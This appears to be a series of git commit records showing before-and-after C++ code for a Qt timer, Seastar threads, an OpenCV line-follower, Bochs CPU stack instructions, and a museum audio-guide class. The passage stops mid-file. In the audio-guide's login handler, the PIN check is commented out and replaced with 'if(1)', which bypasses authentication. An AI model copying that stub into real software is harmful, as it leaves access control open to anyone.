startInner(milliseconds);\n}\n\nvoid HighPrecisionTimer::timeoutInner()\n{\n    if (mIsRunning)\n    {\n        mIsRunning = false;\n        Q_EMIT timeout();\n    }\n}\n\n\n\n<commit_msg>Clean thread exit on high precision timer<commit_after>#include \"HighPrecisionTimer.h\"\n#include \"Utilities.h\"\n\n\nHighPrecisionTimerInner::HighPrecisionTimerInner()\n\t: mIsCancelled(false)\n{\n\n}\n\nvoid HighPrecisionTimerInner::startTimer()\n{\n\tmIsCancelled = false;\n\tmTimer.start();\n}\n\nvoid HighPrecisionTimerInner::cancel()\n{\n\tmIsCancelled = true;\n}\n\nvoid HighPrecisionTimerInner::startLoop(int milliseconds)\n{\n\t\/\/Q_ASSERT(mTimer.isValid());\n\twhile (mTimer.elapsed() < milliseconds && !mIsCancelled)\n\t{\n\t\tQThread::usleep(50);\n\t}\n\t\/\/mTimer.invalidate();\n\tif (mIsCancelled)\n\t{\n\t\treturn;\n\t}\n\tQ_EMIT timeout();\n\n}\n\n\n\n\nHighPrecisionTimer::HighPrecisionTimer(QObject* parent \/*= nullptr*\/)\n\t: QObject(parent)\n\t, mThread(new QThread(this))\n\t, mInner(new HighPrecisionTimerInner)\n\t, mIsRunning(false)\n{\n\tVERIFY(connect(this, SIGNAL(startInner(int)), mInner, SLOT(startLoop(int))));\n\tVERIFY(connect(mInner, SIGNAL(timeout()), this, SLOT(timeoutInner())));\n\n\tmThread->start(QThread::TimeCriticalPriority);\n\tmInner->moveToThread(mThread);\n\n}\n\nHighPrecisionTimer::~HighPrecisionTimer()\n{\n    mThread->quit();\n\tcancel();\n    VERIFY(mThread->wait(5000));\n}\n\n\nvoid HighPrecisionTimer::cancel()\n{\n    mIsRunning = false;\n\tmInner->cancel();\n}\n\nvoid HighPrecisionTimer::start(int milliseconds)\n{\n\tif (mIsRunning)\n\t{\n\t\tcancel();\n\t}\n\tmIsRunning = true;\n\tmInner->startTimer();\n\tQ_EMIT startInner(milliseconds);\n}\n\nvoid HighPrecisionTimer::timeoutInner()\n{\n    if (mIsRunning)\n    {\n        mIsRunning = false;\n        Q_EMIT timeout();\n    }\n}\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\").  See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership.  You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n#include \"thread.hh\"\n#include \"posix.hh\"\n#include <ucontext.h>\n\n\/\/\/ \\cond internal\n\nnamespace seastar {\n\nthread_local jmp_buf_link g_unthreaded_context;\nthread_local jmp_buf_link* g_current_context;\n\nthread_context::thread_context(std::function<void ()> func)\n        : _func(std::move(func)) {\n    setup();\n}\n\nvoid\nthread_context::setup() {\n    \/\/ use setcontext() for the initial jump, as it allows us\n    \/\/ to set up a stack, but continue with longjmp() as it's\n    \/\/ much faster.\n    ucontext_t initial_context;\n    auto q = uint64_t(reinterpret_cast<uintptr_t>(this));\n    auto main = reinterpret_cast<void (*)()>(&thread_context::s_main);\n    auto r = getcontext(&initial_context);\n    throw_system_error_on(r == -1);\n    initial_context.uc_stack.ss_sp = _stack.get();\n    initial_context.uc_stack.ss_size = _stack_size;\n    initial_context.uc_link = nullptr;\n    makecontext(&initial_context, main, 2, int(q), int(q >> 32));\n    auto prev = g_current_context;\n    _context.link = prev;\n    _context.thread = this;\n    g_current_context = &_context;\n    if (setjmp(prev->jmpbuf) == 0) {\n        setcontext(&initial_context);\n    }\n}\n\nvoid\nthread_context::switch_in() {\n    \/\/ FIXME: use setjmp\/longjmp after initial_switch_in, much faster\n    auto prev = g_current_context;\n    g_current_context = &_context;\n    _context.link = prev;\n    if (setjmp(prev->jmpbuf) == 0) {\n        longjmp(_context.jmpbuf, 1);\n    }\n}\n\nvoid\nthread_context::switch_out() {\n    g_current_context = _context.link;\n    if (setjmp(_context.jmpbuf) == 0) {\n        longjmp(g_current_context->jmpbuf, 1);\n    }\n}\n\nvoid\nthread_context::s_main(unsigned int lo, unsigned int hi) {\n    uintptr_t q = lo | (uint64_t(hi) << 32);\n    reinterpret_cast<thread_context*>(q)->main();\n}\n\nvoid\nthread_context::main() {\n    try {\n        _func();\n        _done.set_value();\n    } catch (...) {\n        _done.set_exception(std::current_exception());\n    }\n    g_current_context = _context.link;\n    longjmp(g_current_context->jmpbuf, 1);\n}\n\nnamespace thread_impl {\n\nthread_context* get() {\n    return g_current_context->thread;\n}\n\nvoid switch_in(thread_context* to) {\n    to->switch_in();\n}\n\nvoid switch_out(thread_context* from) {\n    from->switch_out();\n}\n\nvoid init() {\n    g_unthreaded_context.link = nullptr;\n    g_unthreaded_context.thread = nullptr;\n    g_current_context = &g_unthreaded_context;\n}\n\n}\n\n\n}\n\n\/\/\/ \\endcond\n<commit_msg>thread: remove obsolete FIXME<commit_after>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\").  See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership.  You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\n\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n#include \"thread.hh\"\n#include \"posix.hh\"\n#include <ucontext.h>\n\n\/\/\/ \\cond internal\n\nnamespace seastar {\n\nthread_local jmp_buf_link g_unthreaded_context;\nthread_local jmp_buf_link* g_current_context;\n\nthread_context::thread_context(std::function<void ()> func)\n        : _func(std::move(func)) {\n    setup();\n}\n\nvoid\nthread_context::setup() {\n    \/\/ use setcontext() for the initial jump, as it allows us\n    \/\/ to set up a stack, but continue with longjmp() as it's\n    \/\/ much faster.\n    ucontext_t initial_context;\n    auto q = uint64_t(reinterpret_cast<uintptr_t>(this));\n    auto main = reinterpret_cast<void (*)()>(&thread_context::s_main);\n    auto r = getcontext(&initial_context);\n    throw_system_error_on(r == -1);\n    initial_context.uc_stack.ss_sp = _stack.get();\n    initial_context.uc_stack.ss_size = _stack_size;\n    initial_context.uc_link = nullptr;\n    makecontext(&initial_context, main, 2, int(q), int(q >> 32));\n    auto prev = g_current_context;\n    _context.link = prev;\n    _context.thread = this;\n    g_current_context = &_context;\n    if (setjmp(prev->jmpbuf) == 0) {\n        setcontext(&initial_context);\n    }\n}\n\nvoid\nthread_context::switch_in() {\n    auto prev = g_current_context;\n    g_current_context = &_context;\n    _context.link = prev;\n    if (setjmp(prev->jmpbuf) == 0) {\n        longjmp(_context.jmpbuf, 1);\n    }\n}\n\nvoid\nthread_context::switch_out() {\n    g_current_context = _context.link;\n    if (setjmp(_context.jmpbuf) == 0) {\n        longjmp(g_current_context->jmpbuf, 1);\n    }\n}\n\nvoid\nthread_context::s_main(unsigned int lo, unsigned int hi) {\n    uintptr_t q = lo | (uint64_t(hi) << 32);\n    reinterpret_cast<thread_context*>(q)->main();\n}\n\nvoid\nthread_context::main() {\n    try {\n        _func();\n        _done.set_value();\n    } catch (...) {\n        _done.set_exception(std::current_exception());\n    }\n    g_current_context = _context.link;\n    longjmp(g_current_context->jmpbuf, 1);\n}\n\nnamespace thread_impl {\n\nthread_context* get() {\n    return g_current_context->thread;\n}\n\nvoid switch_in(thread_context* to) {\n    to->switch_in();\n}\n\nvoid switch_out(thread_context* from) {\n    from->switch_out();\n}\n\nvoid init() {\n    g_unthreaded_context.link = nullptr;\n    g_unthreaded_context.thread = nullptr;\n    g_current_context = &g_unthreaded_context;\n}\n\n}\n\n\n}\n\n\/\/\/ \\endcond\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\nusing namespace std;\nusing namespace cv;\n\nControlMovements lineFollowingControl() {\n\n  line_main();\n\n  return ControlMovements();\n}\n\nvoid line_main() {\n  printf(\"Hello, this is Caleb\\n\");\n  VideoCapture cap(\"videos\/top_down_4.m4v\");\n  if (!cap.isOpened())  \/\/ check if we succeeded\n    return;\n}\n<commit_msg>test code<commit_after>\/*\n\n*\/\n\n#include \"lineFollowing.h\"\n\nusing namespace std;\nusing namespace cv;\n\nControlMovements lineFollowingControl() {\n\n  line_main();\n\n  return ControlMovements();\n}\n\nvoid line_main() {\n\/\/  printf(\"Hello, this is Caleb\\n\");\n\n  VideoCapture cap(\"videos\/top_down_4.m4v\");\n  if (!cap.isOpened())  \/\/ check if we succeeded\n    return;\n\n  namedWindow(\"linesH\", CV_WINDOW_NORMAL);\n  Mat edges;\n  for(;;)\n  {\n    Mat frame;\n    cap >> frame; \/\/ get a new frame from camera\n    cvtColor(frame, edges, CV_BGR2GRAY);\n    GaussianBlur(edges, edges, Size(7,7), 1.5, 1.5);\n    Canny(edges, edges, 0, 30, 3);\n    imshow(\"edges\", edges);\n    if(waitKey(30) >= 0) break;\n  }\n  \/\/ the camera will be deinitialized automatically in VideoCapture destructor\n  return;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ $Id: stack64.cc,v 1.32 2007\/12\/20 20:58:37 sshwarts Exp $\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (C) 2001  MandrakeSoft S.A.\n\/\/\n\/\/    MandrakeSoft S.A.\n\/\/    43, rue d'Aboukir\n\/\/    75002 Paris - France\n\/\/    http:\/\/www.linux-mandrake.com\/\n\/\/    http:\/\/www.mandrakesoft.com\/\n\/\/\n\/\/  This library is free software; you can redistribute it and\/or\n\/\/  modify it under the terms of the GNU Lesser General Public\n\/\/  License as published by the Free Software Foundation; either\n\/\/  version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/  This library is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/  Lesser General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Lesser General Public\n\/\/  License along with this library; if not, write to the Free Software\n\/\/  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA\n\n\n#define NEED_CPU_REG_SHORTCUTS 1\n#include \"bochs.h\"\n#include \"cpu.h\"\n#define LOG_THIS BX_CPU_THIS_PTR\n\n#if BX_SUPPORT_X86_64\n\nvoid BX_CPU_C::POP_EqM(bxInstruction_c *i)\n{\n  BX_CPU_THIS_PTR speculative_rsp = 1;\n  BX_CPU_THIS_PTR prev_rsp = RSP;\n\n  Bit64u val64 = pop_64();\n\n  \/\/ Note: there is one little weirdism here.  It is possible to use \n  \/\/ RSP in the modrm addressing. If used, the value of RSP after the \n  \/\/ pop is used to calculate the address.\n  if (i->rm()==4 && i->sibBase()==4) {\n    \/\/ call method on BX_CPU_C object\n    BX_CPU_CALL_METHODR (i->ResolveModrm, (i));\n  }\n  write_virtual_qword(i->seg(), RMAddr(i), val64);\n\n  BX_CPU_THIS_PTR speculative_rsp = 0;\n}\n\nvoid BX_CPU_C::POP_EqR(bxInstruction_c *i)\n{\n  BX_WRITE_64BIT_REG(i->rm(), pop_64());\n}\n\nvoid BX_CPU_C::PUSH_RRX(bxInstruction_c *i)\n{\n  push_64(BX_READ_64BIT_REG(i->opcodeReg()));\n}\n\nvoid BX_CPU_C::POP_RRX(bxInstruction_c *i)\n{\n  BX_WRITE_64BIT_REG(i->opcodeReg(), pop_64());\n}\n\nvoid BX_CPU_C::PUSH64_FS(bxInstruction_c *i)\n{\n  push_64(BX_CPU_THIS_PTR sregs[BX_SEG_REG_FS].selector.value);\n}\n\nvoid BX_CPU_C::PUSH64_GS(bxInstruction_c *i)\n{\n  push_64(BX_CPU_THIS_PTR sregs[BX_SEG_REG_GS].selector.value);\n}\n\nvoid BX_CPU_C::POP64_FS(bxInstruction_c *i)\n{\n  \/\/ this way is faster and RSP safe\n  Bit64u fs = read_virtual_qword(BX_SEG_REG_SS, RSP);\n  load_seg_reg(&BX_CPU_THIS_PTR sregs[BX_SEG_REG_FS], (Bit16u) fs);\n  RSP += 8;\n}\n\nvoid BX_CPU_C::POP64_GS(bxInstruction_c *i)\n{\n  \/\/ this way is faster and RSP safe\n  Bit64u gs = read_virtual_qword(BX_SEG_REG_SS, RSP);\n  load_seg_reg(&BX_CPU_THIS_PTR sregs[BX_SEG_REG_GS], (Bit16u) gs);\n  RSP += 8;\n}\n\nvoid BX_CPU_C::PUSH64_Id(bxInstruction_c *i)\n{\n  Bit64u imm64 = (Bit32s) i->Id();\n  push_64(imm64);\n}\n\nvoid BX_CPU_C::PUSH_EqM(bxInstruction_c *i)\n{\n  Bit64u op1_64 = read_virtual_qword(i->seg(), RMAddr(i));\n\n  push_64(op1_64);\n}\n\nvoid BX_CPU_C::PUSH_EqR(bxInstruction_c *i)\n{\n  push_64(BX_READ_64BIT_REG(i->rm()));\n}\n\nvoid BX_CPU_C::ENTER64_IwIb(bxInstruction_c *i)\n{\n  Bit8u level = i->Ib2();\n  level &= 0x1F;\n  Bit64u bytes_to_push = 8 + level*8 + i->Iw();\n\n  BX_CPU_THIS_PTR speculative_rsp = 1;\n  BX_CPU_THIS_PTR prev_rsp = RSP;\n\n  push_64(RBP);\n\n  Bit64u frame_ptr64 = RSP;\n\n  if (level > 0) {\n    \/* do level-1 times *\/\n    while (--level) {\n      Bit64u temp64;\n\n      RBP -= 8;\n      temp64 = read_virtual_qword(BX_SEG_REG_SS, RBP);\n      RSP -= 8;\n      write_virtual_qword(BX_SEG_REG_SS, RSP, temp64);\n    } \/* while (--level) *\/\n\n    \/* push(frame pointer) *\/\n    RSP -= 8;\n    write_virtual_qword(BX_SEG_REG_SS, RSP, frame_ptr64);\n  } \/* if (level > 0) ... *\/\n\n  BX_CPU_THIS_PTR speculative_rsp = 0;\n\n  RBP = frame_ptr64;\n  RSP -= i->Iw();\n}\n\nvoid BX_CPU_C::LEAVE64(bxInstruction_c *i)\n{\n  \/\/ restore frame pointer\n  Bit64u temp64 = read_virtual_qword(BX_SEG_REG_SS, RBP);\n  RSP = RBP + 8;\n  RBP = temp64;\n}\n\n#endif \/* if BX_SUPPORT_X86_64 *\/\n<commit_msg>removed unused variable<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ $Id: stack64.cc,v 1.33 2008\/01\/01 18:01:39 sshwarts Exp $\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/  Copyright (C) 2001  MandrakeSoft S.A.\n\/\/\n\/\/    MandrakeSoft S.A.\n\/\/    43, rue d'Aboukir\n\/\/    75002 Paris - France\n\/\/    http:\/\/www.linux-mandrake.com\/\n\/\/    http:\/\/www.mandrakesoft.com\/\n\/\/\n\/\/  This library is free software; you can redistribute it and\/or\n\/\/  modify it under the terms of the GNU Lesser General Public\n\/\/  License as published by the Free Software Foundation; either\n\/\/  version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/  This library is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/  Lesser General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Lesser General Public\n\/\/  License along with this library; if not, write to the Free Software\n\/\/  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307 USA\n\n\n#define NEED_CPU_REG_SHORTCUTS 1\n#include \"bochs.h\"\n#include \"cpu.h\"\n#define LOG_THIS BX_CPU_THIS_PTR\n\n#if BX_SUPPORT_X86_64\n\nvoid BX_CPU_C::POP_EqM(bxInstruction_c *i)\n{\n  BX_CPU_THIS_PTR speculative_rsp = 1;\n  BX_CPU_THIS_PTR prev_rsp = RSP;\n\n  Bit64u val64 = pop_64();\n\n  \/\/ Note: there is one little weirdism here.  It is possible to use \n  \/\/ RSP in the modrm addressing. If used, the value of RSP after the \n  \/\/ pop is used to calculate the address.\n  if (i->rm()==4 && i->sibBase()==4) {\n    \/\/ call method on BX_CPU_C object\n    BX_CPU_CALL_METHODR (i->ResolveModrm, (i));\n  }\n  write_virtual_qword(i->seg(), RMAddr(i), val64);\n\n  BX_CPU_THIS_PTR speculative_rsp = 0;\n}\n\nvoid BX_CPU_C::POP_EqR(bxInstruction_c *i)\n{\n  BX_WRITE_64BIT_REG(i->rm(), pop_64());\n}\n\nvoid BX_CPU_C::PUSH_RRX(bxInstruction_c *i)\n{\n  push_64(BX_READ_64BIT_REG(i->opcodeReg()));\n}\n\nvoid BX_CPU_C::POP_RRX(bxInstruction_c *i)\n{\n  BX_WRITE_64BIT_REG(i->opcodeReg(), pop_64());\n}\n\nvoid BX_CPU_C::PUSH64_FS(bxInstruction_c *i)\n{\n  push_64(BX_CPU_THIS_PTR sregs[BX_SEG_REG_FS].selector.value);\n}\n\nvoid BX_CPU_C::PUSH64_GS(bxInstruction_c *i)\n{\n  push_64(BX_CPU_THIS_PTR sregs[BX_SEG_REG_GS].selector.value);\n}\n\nvoid BX_CPU_C::POP64_FS(bxInstruction_c *i)\n{\n  \/\/ this way is faster and RSP safe\n  Bit64u fs = read_virtual_qword(BX_SEG_REG_SS, RSP);\n  load_seg_reg(&BX_CPU_THIS_PTR sregs[BX_SEG_REG_FS], (Bit16u) fs);\n  RSP += 8;\n}\n\nvoid BX_CPU_C::POP64_GS(bxInstruction_c *i)\n{\n  \/\/ this way is faster and RSP safe\n  Bit64u gs = read_virtual_qword(BX_SEG_REG_SS, RSP);\n  load_seg_reg(&BX_CPU_THIS_PTR sregs[BX_SEG_REG_GS], (Bit16u) gs);\n  RSP += 8;\n}\n\nvoid BX_CPU_C::PUSH64_Id(bxInstruction_c *i)\n{\n  Bit64u imm64 = (Bit32s) i->Id();\n  push_64(imm64);\n}\n\nvoid BX_CPU_C::PUSH_EqM(bxInstruction_c *i)\n{\n  Bit64u op1_64 = read_virtual_qword(i->seg(), RMAddr(i));\n\n  push_64(op1_64);\n}\n\nvoid BX_CPU_C::PUSH_EqR(bxInstruction_c *i)\n{\n  push_64(BX_READ_64BIT_REG(i->rm()));\n}\n\nvoid BX_CPU_C::ENTER64_IwIb(bxInstruction_c *i)\n{\n  Bit8u level = i->Ib2();\n  level &= 0x1F;\n\n  BX_CPU_THIS_PTR speculative_rsp = 1;\n  BX_CPU_THIS_PTR prev_rsp = RSP;\n\n  push_64(RBP);\n\n  Bit64u frame_ptr64 = RSP;\n\n  if (level > 0) {\n    \/* do level-1 times *\/\n    while (--level) {\n      Bit64u temp64;\n\n      RBP -= 8;\n      temp64 = read_virtual_qword(BX_SEG_REG_SS, RBP);\n      RSP -= 8;\n      write_virtual_qword(BX_SEG_REG_SS, RSP, temp64);\n    } \/* while (--level) *\/\n\n    \/* push(frame pointer) *\/\n    RSP -= 8;\n    write_virtual_qword(BX_SEG_REG_SS, RSP, frame_ptr64);\n  } \/* if (level > 0) ... *\/\n\n  BX_CPU_THIS_PTR speculative_rsp = 0;\n\n  RBP = frame_ptr64;\n  RSP -= i->Iw();\n}\n\nvoid BX_CPU_C::LEAVE64(bxInstruction_c *i)\n{\n  \/\/ restore frame pointer\n  Bit64u temp64 = read_virtual_qword(BX_SEG_REG_SS, RBP);\n  RSP = RBP + 8;\n  RBP = temp64;\n}\n\n#endif \/* if BX_SUPPORT_X86_64 *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*!\n * @file RPU.cpp\n * @author James Johns\n *\/\n#include <stdio.h>\n#include <pthread.h>\n#include <sys\/types.h>\n#include <ifaddrs.h>\n#include <netinet\/in.h>\n#include <arpa\/inet.h>\n#include <string.h>\n\n#include <queue>\n#include <iostream>\n\n#include <RPU.h>\n#include <KeypadDevice.h>\n#include <KeyboardDevice.h>\n#include <NCursesDisplay.h>\n#include <Menu.hpp>\n#include <VLCAudioPlayer.h>\n#include <CDDWebApi.h>\n\n\/*! RPU::RPU(void *(*audioThreadEntry)(void *), void *(*ioThreadEntry)(void *))\n * @author James Johns\n * @brief RPU constructor\n *\n * @param[in] audioThreadEntry function pointer to auidio thread start point\n * @param[in] ioThreadEntry function pointer to io thread start point\n *\/\nRPU::RPU(void *(*audioThreadEntry)(void *), void *(*ioThreadEntry)(void *))\n{\n\tchar *ipaddr = NULL;\n\tstd::vector<char *> *addresses = getIPAddress();\n\tfor (std::vector<char *>::iterator it = addresses->begin(); it != addresses->end(); it++) {\n\t\tif (strncmp(\"127\", *it, 3) != 0 && ipaddr == NULL)\n\t\t\tipaddr = *it;\n\t\telse\n\t\t\tdelete *it;\n\t}\n\tdelete addresses;\n\tprintf(\"%s\\n\", ipaddr);\n\tplayer = new VLCAudioPlayer(ipaddr);\n\tcddapi = new CDDWebApi(ipaddr);\n\tdelete ipaddr;\n\n\n\tmainMenu = new Menu();\n\tmainMenu->addMenuItem(\"Enter Exhibit\");\n\tmainMenu->addMenuItem(\"Change Language\");\n\tmainMenu->addMenuItem(\"Change Knowledge Level\");\n\n\t\/* Create input device as a keypad. If this fails, default to keyboard instead *\/\n\tinput = new KeypadDevice();\n\tif (input->isConnected() == false) { \/\/ if keypad is not connected, fallback to keyboard\n\t\tdelete input;\n\t\tinput = new KeyboardDevice();\n\t}\n\tstate = LOGIN_PROMPT;\n\n\t\/\/ connect to NCurses display by default\n\tdisplay = new NCursesDisplay();\n\tdisplay->setErrorString(\"Please enter PIN to unlock\");\n\n\t\/*! Event queue must be initialised before threads as they depend on sending events to RPU *\/\n\teventQueue = new std::queue<Event *>();\n\n\t\/* Create threads *\/\n\tif (pthread_create(&audioThread, NULL, audioThreadEntry, player) != 0) {\n\t\tperror(\"Could not create audio thread\");\n\t}\n\n\tif (pthread_create(&ioThread, NULL, ioThreadEntry, this) != 0) {\n\t\tperror(\"Could not create audio thread\");\n\t}\n\trunning = true;\n}\n\n\/*! RPU::~RPU()\n * @author James Johns\n * @brief RPU destructor\n *\n *\/\nRPU::~RPU()\n{\n\trunning = false;\n\tplayer->stop();\n\tpthread_join(ioThread, NULL);\n\tpthread_join(audioThread, NULL);\n\tdelete player;\n\tdelete input;\n\tdelete display;\n\tdelete cddapi;\n}\n\n\/*! RPU::tick()\n * @author James Johns\n * @brief RPU update tick\n *\n * Call iteratively to allow RPU to execute next action.\n * Handles events sent to the RPU, such as input, stream requests etc.\n *\/\nvoid RPU::tick()\n{\n\t\/\/Checks for incoming broadcast. Mutes regular streaming\n\t\/\/Returns bool; true if broadcasting, false if not \n\tplayer->listen(); \n\n\tEvent *evt = getEvent();\n\tdo {\n\t\tif (evt != NULL) {\n\t\t\tif (evt->getType() == Event::QUIT) {\n\t\t\t\trunning = false;\n\t\t\t}\n\t\t}\n\t\tswitch (state) {\n\t\tcase LOGIN_PROMPT:\n\t\t\tloginPrompt(evt);\n\t\t\tbreak;\n\t\tcase DISPLAY_MENU:\n\t\t\tdisplayMenu(evt);\n\t\t\tbreak;\n\t\tcase SELECT_LANGUAGE:\n\t\t\tselectLanguage(evt);\n\t\t\tbreak;\n\t\tcase SELECT_KNOWLEDGE:\n\t\t\tselectKnowledge(evt);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\tif (evt != NULL)\n\t\t\tdelete evt;\n\t\tevt = getEvent();\n\t} while (evt != NULL);\n}\n\n\/*! RPU::sendEvent(Event *evt)\n * @author James Johns\n * @brief Send Event to RPU\n *\n * @param[in] evt Event to place in event queue\n *\/\nvoid RPU::sendEvent(Event *evt)\n{\n\teventQueue->push(evt);\n}\n\n\/*! RPU::getEvent()\n * @author James Johns\n * @brief Get event in event queue\n *\n * @return Event at front of event queue. Returns NULL if queue is empty.\n *\/\nEvent *RPU::getEvent()\n{\n\tEvent *evt = NULL;\n\tif (!eventQueue->empty()) {\n\t\tevt = eventQueue->front();\n\t\teventQueue->pop();\n\t}\n\treturn evt;\n}\n\n\/*! RPU::getIPAddress()\n * @author James Johns\n * @brief Find the device's current IP address\n *\n * @return List of strings containing IP addresses that the device is associated with\n *\/\nstd::vector<char *> *RPU::getIPAddress()\n{\n\tstruct ifaddrs *ifAddrs = NULL, *curAddr = NULL;\n\tvoid *tmpAddr = NULL;\n\tchar *tmpStr = NULL;\n\tstd::vector<char *> *toRet = new std::vector<char *>;\n\n\tgetifaddrs(&ifAddrs);\n\n\tfor (curAddr = ifAddrs; curAddr != NULL; curAddr = curAddr->ifa_next) {\n\t\tif (!curAddr->ifa_addr)\n\t\t\tcontinue;\n\n\t\tif (curAddr->ifa_addr->sa_family == AF_INET) {\n\t\t\ttmpAddr = &((struct sockaddr_in *)curAddr->ifa_addr)->sin_addr;\n\t\t\ttmpStr = new char[INET_ADDRSTRLEN];\n\t\t\tinet_ntop(AF_INET, tmpAddr, tmpStr, INET_ADDRSTRLEN);\n\t\t\ttoRet->push_back(tmpStr);\n\n\t\t} else {\n\t\t\tcontinue;\n\t\t}\n\t}\n\n\treturn toRet;\n}\n\nvoid RPU::loginPrompt(Event *evt)\n{\n\tstatic bool entered = false;\n\n\tif (entered == false) {\n\t\tdisplay->setErrorString(\"Please enter PIN to unlock\");\n\t\tentered = true;\n\t}\n\n\tif (evt == NULL)\n\t\treturn;\n\n\tswitch (evt->getType()) {\n\tcase Event::KEYPAD_INPUT:\n\t\tswitch (*(char *)evt->getArguments()) {\n\t\tcase 'q':\n\t\t\trunning = false;\n\t\t\tbreak;\n\t\tcase 'c':\/*!< Enter key *\/\n\t\t\t\/* enter selected menu entry *\/\n\t\t\t\/\/if (cddapi->login(numberInput.c_str()) == 0) {\n\t\t  if(1) {\n\t\t  state = DISPLAY_MENU;\n\t\t\t\tdisplay->setMenuString(mainMenu->getCurrentMenuItem());\n\t\t\t\tdisplay->setErrorString(NULL);\n\t\t\t\tentered = false;\n\t\t\t} else {\n\t\t\t\tdisplay->setErrorString(cddapi->getLastSentMessage().c_str());\n\t\t\t}\n\t\t\tbreak;\n\t\tcase '1' ... '9':\n\t\t\t\/* capture PIN input *\/\n\t\t\tnumberInput.push_back(*(char *)evt->getArguments());\n\t\t\tif (numberInput.length() > 4) \/\/ pop data from front of string to reduce to 4 character string\n\t\t\t\tnumberInput.erase(0, numberInput.length() - 4);\n\t\t\tbreak;\n\t\tcase 'p':\/*!< play *\/\n\t\tcase 'r':\/*!< rewind *\/\n\t\tcase 'f':\/*!< Fast Forward *\/\n\t\tcase 'w':\/*!< Up key *\/\n\t\tcase 's':\/*!< Down key *\/\n\t\tdefault:\n\t\t\t\/* ignored *\/\n\t\t\tbreak;\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n}\n\nvoid RPU::displayMenu(Event *evt)\n{\n\tstatic bool entered = false;\n\n\tif (entered == false) {\n\t\tdisplay->setMenuString(mainMenu->getCurrentMenuItem());\n\t\tentered = true;\n\t}\n\n\tif (evt == NULL)\n\t\treturn;\n\t\n\tswitch (evt->getType()) {\n\tcase Event::KEYPAD_INPUT:\n\t\tswitch (*(char *)evt->getArguments()) {\n\t\tcase 'p':\n\t\t\tif (player != NULL) {\n\t\t\t\tplayer->playpause();\n\t\t\t\tdisplay->setPlaybackString(((player->isPlaying()) ? \"Play\" : \"Pause\"));\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'r':\n\t\t  if (player != NULL) {\n\t\t\t\tplayer->rewind();\n\t\t\t}\n\t\t\tbreak;\n\t\tcase 'f': \/*!< Fast Forward *\/\n\t\t  if (player != NULL) {\n\t\t    player->fastForward();\n\t\t  }\n\t\t\tbreak;\n\t\tcase 'q':\n\t\t\tstate = LOGIN_PROMPT;\n\t\t\tdisplay->setErrorString(\"Please enter PIN to unlock\");\n\t\t\tdisplay->setMenuString(NULL);\n\t\t\tdisplay->setPlaybackString(NULL);\n\t\t\tdisplay->setTrackInfoString(NULL);\n\t\t\tbreak;\n\t\tcase 'w':\/*!< Up key *\/\n\t\t\tmainMenu->up();\n\t\t\tdisplay->setMenuString(mainMenu->getCurrentMenuItem());\n\t\t\tbreak;\n\t\tcase 's':\/*!< Down key *\/\n\t\t\tmainMenu->down();\n\t\t\tdisplay->setMenuString(mainMenu->getCurrentMenuItem());\n\t\t\tbreak;\n\t\tcase 'c':\/*!< Enter (continue) key *\/\n\t\t\t\/* 